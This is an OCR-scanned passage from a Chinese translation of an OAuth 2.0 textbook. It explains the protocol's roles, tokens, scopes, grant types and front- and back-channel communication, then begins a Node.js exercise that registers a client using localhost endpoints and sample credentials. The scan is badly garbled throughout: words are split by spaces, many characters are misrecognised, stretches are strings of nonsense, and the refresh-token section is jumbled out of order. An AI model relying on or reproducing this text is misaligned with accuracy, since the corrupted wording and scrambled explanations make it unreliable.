然后 返回 响应 。 受 保护 资源 检查 令 牌 的 方式 有 多 种 ， 这 将 在 第 11 童 深入 讨论 。 最 简单 的 方式 是 
证 授权 服务 器 和 资源 服务 器 共享 存储 令 牌 信息 的 数据 库 。 授权 服务 器 在 生成 新 的 令 牌 时 将 其 写 人 
数据 库 ， 资 源 服务 器 在 收 到 令 牌 时 从 数据 库 中 读 取 它 们 。 


2.3 OAuth 中 的 角色 : 客户 端 、 授 权 服 务 器 、 资 源 拥有 者 、 受 保护 
如 上 一 节 所 讨论 的 ，OAuth 系统 中 有 4 个 主要 的 角色 : 客户 端 、 授 权 服 务 器 、 资 源 拥 有 者 以 


及 受 保护 资源 ( 如 图 2-9 所 示 )。 这 些 组 件 分 别 负责 OAuth 协议 的 不 同 部 分 ， 并 且 相 互 协作 使 
OAuth 协议 运转 。 
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C) 


访问 令 牌 





受 保 护 资源 
图 2-9 OAuth 2.0 协 议 中 的 重要 组 件 


OAuth 客户 端 是 代表 资源 拥有 者 访问 受 保护 资源 的 软件 , 它 使 用 OAuth 来 获取 访问 权限 。 得 
益 于 OAuth 的 设计 ， 客 户 端 通常 是 OAuth 系统 中 最 简单 的 组 件 ， 它 的 职责 主要 是 从 授权 服务 需 
获取 令 牌 以 及 在 受 保护 资源 上 使 用 令 牌 。 客 户 端 不 需要 理解 令 牌 ， 也 不 需要 查看 令 牌 的 内 容 。 相 
反 ， 客 户 端 只 需要 将 令 牌 视 为 一 个 不 透明 的 字符 串 即 可 。OAnuth 客户 端 可 以 是 Web 应 用 、 原 生 
应 用 ， 甚 至 浏览 器 内 的 JavaScript VH], 98 6 章 将 介绍 这 些 客户 端 类 型 之 间 的 区 别 。 在 云 打印 例 
子 中 ， 打 印 服务 就 属于 OAuth 客户 端 。 

受 保护 资源 能 够 通过 HTTP 服务 器 进行 访问 , 在 访问 时 需要 OAuth 访问 令 牌 。 受 保护 资源 需 
要 验证 收 到 的 令 牌 ， 并 决定 是 否 响应 以 及 如 何 响应 请 求 。 在 OAuth 架构 中 ， 受 保护 资源 对 是 否 
认可 令 牌 拥有 最 终 决 定 权 。 在 云 打印 例子 中 ， 照 片 存储 网 站 就 属于 受 保护 资源 。 

资源 拥有 者 是 有 权 将 访问 权限 授权 给 客户 端的 主体 。 与 OAuth 系统 中 的 其 他 组 件 不 同 ， 资 
源 拥有 者 不 是 软件 。 在 大 多 数 情 况 下 , 资源 拥有 者 是 一 个 人 , 他 使 用 客户 端 软件 访问 受 他 控制 的 
资源 。 至 少 在 部 分 过 程 中 ， 资 源 拥 有 者 要 使 用 Web 浏览 器 (通常 称 为 用 户 代理 ) 与 授权 服务 器 
交互 。 资 源 拥有 者 可 能 还 会 使 用 浏览 器 与 客户 端 交 互 ， 如 这 里 所 展示 的 , 但 这 完全 取决 于 客户 端 
性 质 。 在 云 打印 例子 中 ， 资 源 拥有 者 就 是 想 要 打印 照片 的 最 终 用 户 。 

OAuth 授权 服务 器 是 一 个 HTTP 服务 器 , CE OAuth 系统 中 充当 中 央 组 件 。 授 权 服 务 器 对 资 
源 拥有 者 和 客户 端 进行 身份 认证 ,让 资源 拥有 者 向 客户 端 授权 、 为 客户 端 颁发 令 牌 。 某 些 授 权 服 
务 器 还 会 提供 额外 的 功能 ， 例 如 令 牌 内 省 、 记 忆 授 权 决策 。 在 云 打印 例子 中 ,照片 存储 网 站 拥有 
自己 的 授权 服务 顺 ， 用 于 保护 其 资源 。 
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2.4 OAuth 的 组 件 : 令 牌 、 权 限 范围 和 授权 许可 


除了 上 述 这 些 角色 之 外 ，OAuth 生态 系统 还 依赖 其 他 几 种 机 制 ， 概 念 性 的 和 实体 性 的 都 有 。 
它们 将 上 一 节 中 的 各 个 角色 整合 成 一 个 协议 。 


2.4.1 访问 令 牌 


OAuth 访问 令 牌 ， 有 时 也 简称 为 令 牌 ,由 授权 服务 器 颁发 给 客户 端 ， 表 示 客 户 端 已 被 授予 权 
IRo OAuth 并 没有 定义 令 牌 本 身 的 格式 和 内 容 , 但 它 总 是 代表 着 : 客户 端 请 求 的 访问 权限 、 对 客 
户 端 授权 的 资源 拥有 者 ， 以 及 被 授予 的 权限 ( 通常 包含 一 些 受 保护 资源 标识 )。 

OAuth 令 牌 对 于 客户 端 来 说 是 不 透明 的 ， 也 就 是 说 客户 端 不 需要 ( 通常 也 不 能 ) 查看 令 牌 内 
容 。 客 户 端 要 做 的 就 是 持 有 令 牌 ， 向 授权 服务 器 请 求 令 牌 ， 并 向 受 保护 资源 出 示 令 牌 。OAuth $ 
牌 并 非 对 系统 中 的 所 有 组 件 都 不 透明 : 授权 服务 顺 的 任务 是 颁发 令 牌 , 受 保护 资源 的 任务 则 是 验 
证 令 牌 。 因 此 ， 它 们 都 需要 理解 令 牌 本 身 ， 并 知道 其 含义 。 然 而 ， 客 户 端 对 这 一 切 一 无 所 知 。 这 
使 得 客户 端 简单 得 多 ， 同 时 也 使 得 授权 服务 器 和 受 保 护 资源 可 以 十 分 灵活 地 部 署 令 牌 。 
























































2.4.2 ”权限 范围 


OAuth 的 权限 范围 表示 一 组 访问 受 保护 资源 的 权限 OAuth 协议 中 使 用 字符 串 表示 权限 范围 ， 
可 以 用 空格 分 隔 的 列表 将 它们 合并 为 一 个 集合 。 因 此 ,权限 范围 的 值 不 能 包含 空格 。OAuth 并 没 
有 规定 权限 范围 值 的 格式 和 结构 。 

权限 范围 是 一 种 重要 机 制 , 它 界 定 了 客户 端 获 取 的 权限 范围 。 权 限 范围 是 由 受 保 护 资源 根据 
其 自身 提供 的 API 来 定义 的 。 客 户 端 可 以 请 求 某 些 权限 范围 , 授权 服务 器 则 允许 资源 拥有 者 在 窜 
户 端 发 出 请 求 时 许可 或 者 否决 特定 的 权限 范围 。 权 限 范 围 具有 可 铸 加 的 特性 。 

回 到 云 打印 的 例子 ， 照 片 存储 服务 的 API 为 照片 访问 定义 了 多 种 权限 范围 : read-photo、 
read-metadata, update-photo、 update-metadata, create, delete; 照片 打印 服务 只 
要 能 读 取 照片 就 足以 完成 工作 ， 所 以 它 会 请 求 read-photo 权限 范围 。 只 要 拥有 一 个 该 权限 范 
围 的 令 牌 , 它 就 能 够 读 取 照 片 并 按 要 求 打 印 出 来 。 如 果 用 户 想 要 使 用 依据 照片 日 期 将 照片 打印 成 
册 的 高 级 功能 ， 则 打印 服务 还 需要 read-metadata 权限 范围 。 由 于 这 是 一 个 额外 的 访问 权限 ， 
照片 打印 服务 需要 通过 正常 的 OAuth 流程 来 请 求 用 户 授予 它 这 个 额外 的 权限 范围 。 只 要 照片 打 
印 服务 拥有 包含 这 两 个 权限 范围 的 令 牌 ， 它 就 能 使 用 该 令 牌 执行 相应 的 操作 。 


2.4.3 刷新 令 牌 


OAuth 刷新 令 牌 在 概念 上 与 访问 令 牌 很 相似 ， 它 也 是 由 授权 服务 融 颁 发 给 客户 端的 令 牌 , 客 
户 端 也 不 知道 或 不 关心 该 令 牌 的 内 容 。 但 不 同 的 是 , 该 令 牌 从 来 不 会 被 发 送 给 受 保护 资源 。 相 反 ， 
客户 端 使 用 刷新 令 牌 向 授权 服务 器 请 求 新 的 访问 令 牌 ， 而 不 需要 用 户 参 与 (如 网 2-10 所 示 )。 
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使 用 访问 令 受 保 扩 资源 
牌 请 求 资源 @ 


使 用 访问 
令 牌 请 求 





资源 Q 








图 2-10 





向 客户 端 返回 
令 牌 和 刷新 令 牌 


D 
授权 服务 器 











新 的 访问 





使 用 刷新 令 牌 


为 什么 客户 端 需要 刷新 令 牌 ? 在 OAuth 中 ， 访 问 令 牌 随时 可 能 失效 。 令 牌 有 可 能 被 用 户 撤 
销 ,， 也 可 能 过 期 , 或 者 其 他 系统 导致 令 牌 失效 。 访 问 令 牌 失效 后 ,客户 端 在 使 用 时 会 收 到 错误 响 


应 。 当 然 ， 客 户 端 可 以 再 次 向 资源 拥有 者 请 求 权限 ， 但 





是 如 果 资 源 拥 有 者 不 在 场 呢 ? 





在 OAuth 1.0 中 ， 客 户 端 除了 等 资源 拥有 者 回来 重新 授权 之 外 别 无 他 法 。 为 避免 这 种 情况 ， 
OAuth 1.0 中 的 令 牌 往往 会 一 直 保 持 有 效 ， 直 到 被 明确 地 撤销 。 这 是 有 问题 的 ， 因 为 它 增加 了 被 








盗 令 牌 的 攻击 面 : 攻击 者 可 以 永久 使 用 该 令 牌 。OAuth 








2.0 提供 了 让 令 牌 自 动 过 期 的 选项 ， 但 是 





我 们 需要 在 用 户 不 在 场 的 时 候 仍然 能 访问 资源 。 现 在 , 刷新 令 牌 取代 了 永 不 过 期 的 访问 令 牌 , 但 
它 的 作用 不 是 访问 资源 , 而 是 获取 新 的 访问 令 牌 来 访问 资源 。 这 种 做 法 以 一 种 独立 但 互补 的 方式 








限制 了 刷新 令 牌 和 访问 令 牌 的 暴露 范围 。 
刷新 令 牌 还 可 以 让 客户 端 缩小 它 的 权限 范围 。 如 果 
是 它 知道 某 特定 请 求 只 需要 A 权限 范围 











但 














往往 并 不 智能 ， 但 是 对 于 那些 想 要 实践 这 种 智能 的 客户 
如 果 刷 新 令 牌 本 身 也 失效 了 怎么 办 ? 如 果 用 户 在 场 























， 则 它 可 以 使 用 刷新 令 牌 重 新 获取 一 个 仅 包含 A 权 
范围 的 访问 令 牌 。 这 证 足够 智能 的 客户 端 可 以 遵循 最 小 权限 安全 原则 , 但 也 不 会 给 不 那么 智 
客户 端 带 来 负担 ， 即 无 须 查 明 某 个 API 需 要 哪些 权限 。 虽 然 多 年 的 部 署 经 验 表明 ，OAuth 客户 





客户 端 被 授予 A、B 、C 三 个 权限 范围 ， 








R 
的 
端 
端 来 说 ， 这 一 高 级 功能 还 是 很 有 价值 的 。 
,客户 端 可 以 随时 劳 烦 用 户 再 次 授权 。 换 





eu 
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句 话说， 客户 端 退回 到 了 需要 重新 进行 OAuth 授权 的 状态 。 





2.4.4 授权 许可 





授权 许可 是 OAuth 协议 中 的 权限 获取 方法 ，OAuth 客户 端 用 它 来 获取 受 保护 资源 的 访问 权 
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限 ， 成 功 之 后 客户 端 会 得 到 一 个 令 牌 。 这 可 能 是 OAuth 2.0 中 最 令 人 困惑 的 术语 之 一 ， 因 为 它 既 
表示 用 户 授权 所 用 的 特定 方式 , 也 表示 授权 这 个 行为 本 身 。 前面 详细 介绍 过 的 授权 码 许可 类 型 加 
剧 了 这 种 困惑 ， 因 为 开发 人 员 有 时 候 会 看 见 传 回 给 客户 端的 授权 码 ， 并 误 以 为 这 个 授权 码 ( 仅 授 
权 码 ) 就 是 授权 许可 。 虽 然 授权 码 确实 代表 用 户 的 授权 决策 ,但 它 不 是 授权 许可 本 身 。 相 反 , HE 
个 OAuth 流程 才 是 授权 许可 : 客户 端 将 用 户 重 定向 至 授权 端点 ， 然 后 接收 授权 码 ， 最 后 用 授权 
码 换取 令 牌 。 

换 名 话说， 授权 许可 就 是 获取 令 牌 的 方式 。 在 本 书 中 ， 就 像 在 OAuth 社区 中 一 样 ， 会 偶尔 
将 其 称 为 OAuth 协议 的 一 个 流程 。OAuth 协议 中 有 多 种 授权 许可 方法 , 并且 各 有 特点 。 第 6 章 将 
对 这 些许 可 类 型 进行 详细 介绍 , 但 是 大 部 分 例子 和 练习 ( 如 上 一 节 中 的 那样 ) 都 使 用 了 授权 码 这 
种 授权 许可 类 型 。 


2.5 OAuth 的 角色 与 组 件 间 的 交互 : 后 端 信道 、 前 端 信道 和 端点 


Y fit OAuth 系统 的 不 同 部 分 之 后 , 现在 来 看 看 它们 之 间 到 底 是 如 何 通 信和 的 OAuth 是 一 个 基 
于 HTTP 的 协议 , 但 是 与 大 多 数 基于 HTTP 的 协议 不 同 ，OAuth 中 的 交互 并 不 总 是 通过 简单 的 
HTTP 请 求 和 响应 来 完成 。 
















































































非 HTTP 信道 之 上 的 OAuth 
虽然 OAuth 是 基于 HTTP 的 协议 ， 但 已 有 很 多 规范 定义 了 如 何 将 OAuth 流程 中 的 不 同 部 
分 迁移 到 非 HTTP 协议 上 。 例 如 ， 已 经 有 标准 草案 提出 了 如 何在 通用 安全 服务 应 用 程序 接口 
( GSS-API ) "和 受 限 应 用 程序 协议 ( CoAP ) 2 上 使 用 OAuth 令 牌 。 在 这 些 草案 中 ， 仍 然 可 以 使 
用 HTTP 来 启动 OAuth 流程 , 但 它们 是 想 将 基于 HTTP 的 OAuth 组 件 直接 搬 到 其 他 协议 上 去 。 


2.5.4 后 端 信道 通信 


OAuth 流程 中 的 很 多 部 分 都 使 用 标准 的 HTTP 请 求 和 响应 格式 来 相互 通信 。 由 于 这 些 请 求 通 
常 都 发 生 在 资源 拥有 者 和 用 户 代 理 的 可 见 范 围 之 外 ， 因 此 它们 统称 为 后 端 信道 通信 (如 图 2-11 
所 示 )。 

这 些 请 求 和 响应 使 用 了 所 有 和 常规 的 HTTP 机 制 来 通信 : 头 部 、 查 询 参数 、HTTP 方法 和 HTTP 
主体 都 能 承载 对 OAuth 事务 至 关 重 要 的 信息 。 请 注意 ， 由 于 多 数 简单 的 Web API 只 需要 客户 端 
开发 人 员 关 注 响 应 主体 ， 这 可 能 包含 了 你 不 熟悉 的 一 些 HTTP 机 制 。 

授权 服务 器 提供 了 一 个 授权 端点 , 供 客户 端 请 求 访问 令 牌 和 刷新 令 牌 。 客 户 端 直接 向 该 端点 
发 出 请 求 ， 携带 一 组 表单 格式 的 参数 ,授权 服务 器 解析 并 处 理 这 些 参数 。 然 后 授权 服务 器 返回 一 
个 代表 令 牌 的 JSON 对 象 。 







































































(D RFC 7628: https://tools.ietf.org/html/rfc7628 , 
@ https://tools.ietf.org/html/draft-ietf-ace-oauth-authz 
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后 端 信道 使 用 组 件 之 间 直 接 
的 HTTP 连 接 ， 浏 览 器 不 参 
与 其 中 








授权 服务 器 








受 保护 资源 
图 2-11 后 端 信道 通信 
另外 ， 当 客户 端 连接 受 保护 资源 的 时 候 ， 它 也 是 在 后 端 信 道上 直接 发 出 HTTP 请 求 。 这 种 连 
接 的 细节 完全 依赖 于 受 保护 资源 ， 因 为 OAuth 能 保护 的 API 和 系统 种 类 繁多 、 风 格 各 异 。 对 于 任 
何 类 型 的 受 保护 资源 , 都 需要 客户 端 出 示 令 牌 , 并 且 受 保护 资源 必须 能 理解 令 牌 及 其 代表 的 权限 。 























2.5.2 ”前 端 信道 通信 

在 前 一 节 中 已 经 看 到 ， 在 标准 的 HTTP 通信 中 ，HTTP 客户 端 向 服务 右 直 接 发 送 一 个 请 求 ， 
其 中 包含 头 部 、 查 询 参数 、 主 体 及 其 他 信息 。 然 后 HTTP 服务 器 可 以 查看 这 些 信 息 ， 并 决定 如 何 
响应 请 求 ， 响 应 中 包含 头 部 、 主 体 及 其 他 信息 。 然 而 ,在 OAuth 中 ， 在 某 些 情况 下 两 个 组 件 是 
无 法 直接 相互 发 送 请 求 和 响应 的 , 例如 客户 端 与 授权 服务 器 的 授权 端点 交互 的 时 候 。 前端 信道 通 
信和 就 是 一 种 间接 通信 方法 ， 它 将 Web 浏览 器 作为 媒介 ,使 用 HTTP 请 求实 现 两 个 系统 间 的 间接 
通信 (如 图 2-12 所 示 )。 

这 一 技术 隔离 了 浏览 器 两 端的 会 话 ， 实 现 了 路 安全 域 工 作 。 例 如 ， 如 果 用 户 需要 向 其 中 一 个 
组 件 进行 身份 认证 ， 并 不 需要 将 凭据 暴露 给 另 一 个 系统 。 这 样 ， 在 保持 信息 隔离 的 情况 下 ， 仍 然 
能 让 用 户 在 通信 中 发 挥 作用 。?” 












































CD 虽然 不 向 客户 端 暴露 凭据 ， 但 用 户 仍然 能 在 经 过 身份 认证 之 后 做 出 授权 决策 ， 该 授权 结果 C 即 授权 码 ) 正 是 通过 
这 样 的 间接 通信 方式 传递 到 客户 端的 。 译 者 注 
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资源 拥有 者 人 y“ 授权 服务 器 
前 端 信道 通过 Web 浏 览 器 使 
用 HTTP 重 定向 ， 不 存在 直接 
连接 
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图 2-12 “前端 信道 通信 



































两 个 不 直接 交互 的 软件 是 如 何 实现 通信 的 呢 ? 前 端 信道 通信 是 这 样 实现 的 : 发 起 方 在 一 个 
URL 中 附加 参数 并 指示 浏览 器 跳 转 至 该 URL。 然 后 接收 方 可 以 解析 该 人 站 URL. ( 由 浏览 器 跳 转 
来 的 )， 并 使 用 其 中 包含 的 信息 。 之 后 ， 接 收 方 可 以 将 浏览 器 重 定向 至 发 起 方 托管 的 URL， 并 使 
用 同样 的 方式 在 URL 中 附加 参数 。 这 样 ， 两 个 软件 就 以 Web 浏览 器 为 媒介 ， 实现 了 间接 通信 。 
这 意味 着 每 个 前 端 信道 的 请 求 和 响应 实际 上 是 一 对 HTTP 请 求 /响应 事务 ( 如 图 2-13 所 示 )。 


资源 拥有 者 授权 服务 器 
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图 2-13 前端 信道 的 请 求 和 响应 流程 

例如 , 在 前 面 看 到 的 授权 码 许可 中 , 客户 端 需要 将 用 户 重 定向 至 授权 端点 ,但 是 也 需要 将 其 
请 求 的 内 容 信 息 传递 给 授权 服务 右 。 为 此 ， 客 户 端 向 浏览 器 发 送 一 个 HTTP 重 定向 。 这 个 重 定向 
的 目标 是 授权 服务 器 的 URL， 并 且 其 查询 参数 中 附 有 特定 参数 。 
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HTTP 302 Found 
Location: http://localhost:9001/authorize?client id-oauth-client-1&response 
type-code&state-843hi43824h42tj 


授权 服务 器 可 以 像 处 理 一 般 的 HTTP 请 求 一 样 解析 传人 的 URL， 从 参数 中 获取 信息 。 在 这 
个 环节 ,授权 服务 器 可 以 与 资源 拥有 者 进行 交互 ， 通 过 浏览 器 执行 一 系列 HTTP 事务 , 对 资源 拥 
有 者 进行 身份 认证 并 请 求 其 授权 。 当 需要 给 客户 端 返 回 授权 码 时 , 授权 服务 器 也 向 浏览 需 返 回 重 
定向 响应 , 但 是 这 一 次 的 重 定向 目标 是 客户 端的 redirect uri. 授权 服务 器 也 会 在 重 定向 的 查 
询 参 数 中 附带 信息 。 
HTTP 302 Found 


Location: http://localhost:9000/0auth, callback?code-23ASKBWe4&state-843hi438 
24h42tj 


浏览 器 执行 这 个 重 定向 时 , 会 向 客户 端 应 用 发 送 一 个 HTTP 请 求 。 然 后 客户 端 可 以 解析 请 求 
中 的 参数 。 这 样 ， 客 户 端 和 授权 服务 器 就 以 浏览 器 为 媒介 实现 了 通信 ， 而 不 用 直接 交互 。 













































































如 果 我 的 客户 端 不 是 Web 应 用 怎么 办 ? 

Web 应 用 和 原生 应 用 都 可 以 使 用 OAuth, 但 是 都 需要 使 用 前 端 信道 机 制 来 接收 授权 端点 返 
回 的 信息 。 前 端 信道 通常 需要 用 到 Web 浏览 器 和 HTTP 重 定 向 ， 但 常规 的 Web 服务 器 一 般 是 
不 提供 这 些 支持 的 。 幸 运 的 是 ， 有 一 些 技巧 可 以 解决 这 个 问题 ， 比 如 内 部 Web 服务 器 、 应 用 
专 有 的 URI 方案 、 使 用 后 端 服务 向 客户 端 推 送 通知 等 。 总 之 ， 只 要 能 触发 浏览 器 对 该 URI 的 
调用 即 可 。 第 6 章 将 详细 探讨 这 些 技巧 。 




















所 有 通过 前 端 信道 传递 的 信息 都 可 供 浏 览 带 访问 , 既 能 被 读 取 , 也 可 能 在 最 终 请 求 发 出 之 前 
WR, OAuth 协议 已 经 考虑 到 这 一 点 , 它 限制 了 能 通过 前 端 信道 传输 的 信息 类 别 ， 并 确保 只 要 
是 通过 前 端 信道 传输 的 信息 ， 就 不 能 在 授权 任务 中 单独 使 用 。 在 本 章 的 典型 案例 中 , 授权 码 不 能 
被 浏览 器 直接 使 用 ， 相 反 它 必须 通过 后 端 信道 与 客户 端 凭据 一 起 出 示 。 在 有 些 协 议 中 ， 比 如 
OpenID Connect， 要 求 客 户 端 或 者 授权 服务 器 对 前 端 信道 中 传输 的 消息 签名 ， 通 过 这 样 的 安全 机 
制 增加 一 层 保护 。 第 13 章 将 对 此 进行 简要 介绍 。 






























































2.6 小 结 


虽然 OAuth 协议 包含 很 多 移动 组 件 ， 但 它 将 一 些 简单 的 操作 组 合 起 来 ， 形 成 了 一 套 安全 的 
授权 方法 。 
O OAuth 是 关于 获取 令 牌 和 使 用 令 牌 的 。 
O OAuth 系统 中 的 不 同 组 件 各 自负 责 授权 流程 中 的 不 同 环节 。 
O 组 件 使 用 直接 的 (后 端 信道 ) 和 间接 的 ( 前端 信道 ) HTTP 连接 相互 通信 。 

现在 ， 你 已 经 了 解 了 OAuth 是 什么 以 及 它 的 工作 原理 ， 开 始 动 手 做 点 事情 吧 ! 下 一 章 将 介 
绍 如 何 从 头 开始 构建 一 个 OAuth 客户 端 。 















































构建 OAuth 环境 








这 一 部 分 将 带 你 从 头 开始 构建 一 个 OAuth 生态 系统 ， 包 括 客户 端 、 受 保护 资源 和 授权 服务 
器 。 我 们 将 实现 前 一 部 分 介绍 过 的 授权 码 许可 类 型 ， 并 在 实现 过 程 中 逐一 研究 各 个 组 件 ， 弄 请 
楚 它 们 是 如 何 交互 的 。 之 后 ， 你 还 将 了 解 OAuth 2.0 协议 中 的 优化 与 变种 ， 包 括 不 同 的 客户 端 
类 型 和 许可 类 型 。 


构建 简单 的 OAuth 客户 端 








本 章 内 容 

口 向 授权 服务 需 注 册 OAuth 客户 端 ， 并 配置 客户 端 ， 让 它 能 与 授权 服务 天 交互 
口 使 用 授权 码 许可 类 型 向 资源 拥有 者 请 求 授权 

口 使 用 授权 码 换 取 访 问 令 牌 

口 将 访问 令 牌 作为 bearer 令 牌 ， 用 于 访问 受 保护 资源 

口 刷新 访问 令 牌 











正如 上 一 章 所 提 到 的 ，OAuth 协议 的 焦点 在 于 客户 端 如 何 获取 令 牌 ， 以 及 如 何 使 用 令 牌 代表 
资源 拥有 者 访问 受 保护 资源 。 在 本 章 ， 我 们 将 构建 一 个 简单 的 OAuth 客户 端 ， 使 用 授权 码 许 可 
类 型 从 授权 服务 器 获取 bearer 令 牌 ， 并 使 用 该 令 牌 访问 受 保 护 资源 。 


注意 本 书 中 所 有 的 练习 和 示例 都 是 使 用 Node.js 和 JavaScript 构建 的 。 每 个 练习 都 由 多 个 组 件 
构成 ， 各 个 组 件 都 运行 在 同一 个 系统 上 ， 可 以 分 别 通过 localhost 上 的 不 同 端口 访问 。 要 
了 解 关 于 程序 框架 和 结构 的 更 多 信息 ， 请 参考 附录 A。 


3.1 向 授权 服务 器 注册 OAuth 客户 端 


首先 ,OAuth 客户 端 和 授权 服务 器 需要 相互 有 所 了 解 才能 通信 。OAuth 协议 本 身 并 不 关心 如 
何 实现 这 一 点 , 只 要 实现 即 可 。OAuth 客户 端 由 一 个 称 为 “客户 端 标识 符 ” 的 特殊 字符 串 来 标识 ， 
本 书 练习 以 及 OAuth 协议 的 多 个 组 件 都 称 其 为 client_id。 在 一 个 给 定 的 授权 服务 器 下 ， 每 个 
客户 端的 标识 符 必 须 唯一 , 因此 , 客户 端 标识 符 几 乎 总 是 由 授权 服务 器 来 分 配 。 这 种 分 配 可 以 通 
过 开发 者 门户 来 完成 , 也 可 以 使 用 动态 客户 端 注 册 ( 在 第 12 章 讨 论 ), 或 者 通过 其 他 方法 来 完成 。 
在 示例 中 ， 我 们 使 用 手动 配置 。 

请 进入 ch-3-ex-1 目录 ， 并 在 该 目录 中 执行 nom install 命令 。 在 本 练习 中 ， 只 需要 编辑 
client.js 文件 ， 而 不 会 改动 authorizationServer.js 和 protectedResource.js 文件 。 
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为 什么 选择 Web 客户 端 ? 

你 可 能 已 经 注意 到 ， 我们 的 OAuth 客户 端 是 一 个 Web JH, 运行 在 由 Node.js 托管 的 Web 
服务 器 上 。 客 户 端 是 一 个 服务 端 应 用 ,这 一 点 令 人 困惑 ,但 还 是 很 好 理解 : OAuth 客户 端 通常 是 
一 个 从 授权 服务 器 获取 访问 令 牌 ， 并 使 用 该 令 牌 访问 受 保护 资源 的 软件 ， 正 如 第 2 章 所 提 到 的 。 

我 们 之 所 以 在 这 里 构建 一 个 基于 Web 的 客户 端 , 是 因为 这 不 仅 是 OAuth 最 初 的 使 用 场景 ， 
而 且 也 是 最 常见 的 场景 之 一 。 移 动 应 用 、 桌 面 应 用 和 浏览 器 应 用 也 能 使 用 OAuth,， 但 在 使 用 时 
都 需要 做 一 些 特 殊 处 理 ， 并 且 注 意 事项 也 略 有 不 同 。 第 6 章 将 介绍 这 些 内 容 ， 届 时 会 特别 关注 
这 些 使 用 场景 与 基于 Web 的 客户 端 之 间 的 区 别 。 








授权 服务 器 已 经 为 客户 端 分 配 了 client ia, HB oauth-client-1 (如 图 3-1 所 示 ), 现在 
需要 将 该 信息 传递 给 客户 端 软件 〈 要 查看 这 个 标识 符 ， 请 到 authorizationServerjs 文件 中 寻找 位 
于 顶部 的 client 变量 ， 或 导航 到 http://localhost:9001 )。 


OAuth in Actic OAuth Authorization Server 


Client information: 
* client id: oauth-client-1 
» client secret: oauth-client-secret-1 
e Scope: foo bar 
se redirect uri: 


Server information: 


» authorization endpoint: http://localhost:9001/authorize 
* token endpoint: http://localhost:9001/token 





图 3-1 授权 服务 器 主页 面 ， 显 示 客 户 端 和 服务 器 信息 
客户 端 将 注册 信息 存储 在 一 个 顶级 的 对 象 类 型 变量 中 ， 名 为 client， 它 将 其 client ia 
保存 在 该 对 象 的 一 个 字段 中 ， 不 出 所 料 ， 字 段 名 就 叫 client_iq。 只 需 编辑 该 对 象 ， 将 要 分 配 
给 客户 端的 client_id 值 填 人 。 












































"client id": "oauth-client-1" 

该 客户 端 是 OAuth 中 所 谓 的 保密 客户 端 ， 这 意味 着 它 需 要 保存 一 个 共享 密 钥 ， 叫 作 
client_secret， 用 于 与 授权 服务 器 交互 时 对 自身 进行 身份 认证 。 向 授权 服务 器 的 令 牌 端点 传 
输 client secret 的 方法 有 多 种 , 但 是 我 们 的 例子 中 会 使 用 HTTP 基本 认证 。client_secret 
也 几乎 总 是 由 授权 服务 器 分 配 ， 在 示例 中 ， 授 权 服 务 顺 已 经 为 客户 端 分 配 了 client secret, 
为 oauth-client-secret-1. iXUÉ— MAREI SP], MUAK EA TS E EE s EROR, 
而 且 还 因为 我 们 在 本 书 中 将 其 公布 了 , 使 它 不 再 是 秘密 了 。 但 无 论 如 何 , 它 在 我 们 的 例子 中 是 能 
够 正常 工作 的 ， 我 们 将 它 添加 到 客户 端的 配置 对 象 中 。 
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"client secret": "oauth-client-secret-1" 


许多 OAuth 客户 端 库 还 在 配置 对 象 中 包含 一 些 其 他 的 配置 选项 ， 例 如 redirect uri, # 
请 求 的 权限 范围 集合 ， 以 及 一 些 其 他 的 选项 ， 后 续 章 节 会 介绍 这 些 内 容 。 与 client ia 和 
client secret 不 同 的 是 ， 这 些 选 项 由 客户 端 软件 设 定 ， 而 不 由 授权 服务 器 分 配 。 因 此 ， 客 户 
端的 配置 对 象 中 已 经 包含 了 这 些 选 项 。 配 置 对 象 如 下 所 示 。 





























var client = { 
"client id": "oauth-client-1", 
"client secret": "oauth-client-secret-1", 
"redirect uris": ["http://localhost:9000/callback"] 


ys 





另 一 方面 ,客户 端 需要 知道 自己 在 与 哪个 服务 器 交互 ， 以 及 如 何 交 互 。 在 本 练习 中 ,客户 端 
需要 知道 授权 端点 和 令 牌 端点 的 位 置 , 除 此 之 外 不 需要 知道 有 关 服 务 器 的 任何 其 他 信息 。 服 务 器 
配置 信息 已 经 存放 在 名 为 authserver 的 顶级 变量 中 ， 其 中 包含 的 配置 信息 如 下 。 








var authServer = ( 
authorizationEndpoint: 'http://localhost:9001/authorize', 
tokenEndpoint: 'http://localhost:9001/token' 

J^ 


客户 端 已 具备 连接 授权 服务 器 所 需 的 全 部 信息 ， 下 面 开 始 使 用 这 些 信息 。 


3.2 ”使 用 授权 码 许可 类 型 获取 令 牌 


OAuth 客户 端 要 从 授权 服务 器 获取 令 牌 ， 需 要 资源 拥有 者 以 某 种 形式 授权 。 在 本 音 中 , 我 们 
将 使 用 一 种 被 称 为 授权 码 许可 类 型 的 交互 式 授权 形式 , 由 客户 端 将 资源 拥有 者 ( 示例 中 客户 端的 
最 终 用 户 ) 重 定向 至 授权 服务 锅 的 授权 端点 。 然 后 ， 服 务 吉 通过 redirect uri 将 授权 码 返回 
给 客户 端 。 最 后 ， 客 户 端 将 收 到 的 授权 码 发 送 到 授权 服务 需 的 令 牌 端点 ， 换 取 OAuth 访问 令 牌 ， 
再 进行 解析 和 存储 。 要 详细 了 解 这 种 许可 类 型 的 所 有 步骤 , 包括 每 一 步 所 使 用 的 HTTP 消息 , 请 
回顾 第 2 章 。 本 章 主要 关注 它 的 实现 。 









































为 什么 选择 授权 码 许可 类 型 ? 

你 可 能 已 经 注意 到 ， 我 们 的 注意 力 都 集中 在 授权 码 许 可 这 一 OAuth 许可 类 型 上 。 你 可 能 
在 本 书 之 外 使 用 过 其 他 OAuth 许可 类 型 ， 例 如 隐 式 许可 类 型 或 者 客户 端 凭 据 许 可 类 型 IA 
为 何不 先 介绍 那些 许可 类 型 呢 ? 第 6 章 将 会 讨论 ， 因 为 授权 码 许可 类 型 将 所 有 不 同 的 OAuth 
参与 方 完 全 隔离 ， 所 以 它 是 本 书 要 讨论 的 核心 许可 类 型 中 最 基础 和 最 复杂 的 一 种 。 所 有 其 他 
OAuth 许可 类 型 都 是 对 这 一 许可 类 型 的 优化 ， 以 适应 特定 的 应 用 场景 和 环境 。 第 6 章 会 详细 
介绍 所 有 许可 类 型 ， 届 时 你 可 以 修改 本 练习 中 的 代码 ， 将 授权 码 许可 类 型 替换 为 其 他 许可 
类 型 。 
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我 们 继续 使 用 上 一 节 中 已 经 构建 好 的 练习 代码 , 并 扩展 其 功能 , 使 其 成 为 一 个 能 运行 的 客户 
mo 该 客户 端 已 预先 提供 了 一 个 着 陆 页 , 用 于 启动 授权 流程 。 该 着 陆 页 位 于 项 目 根 路 径 。 请 记 住 ， 
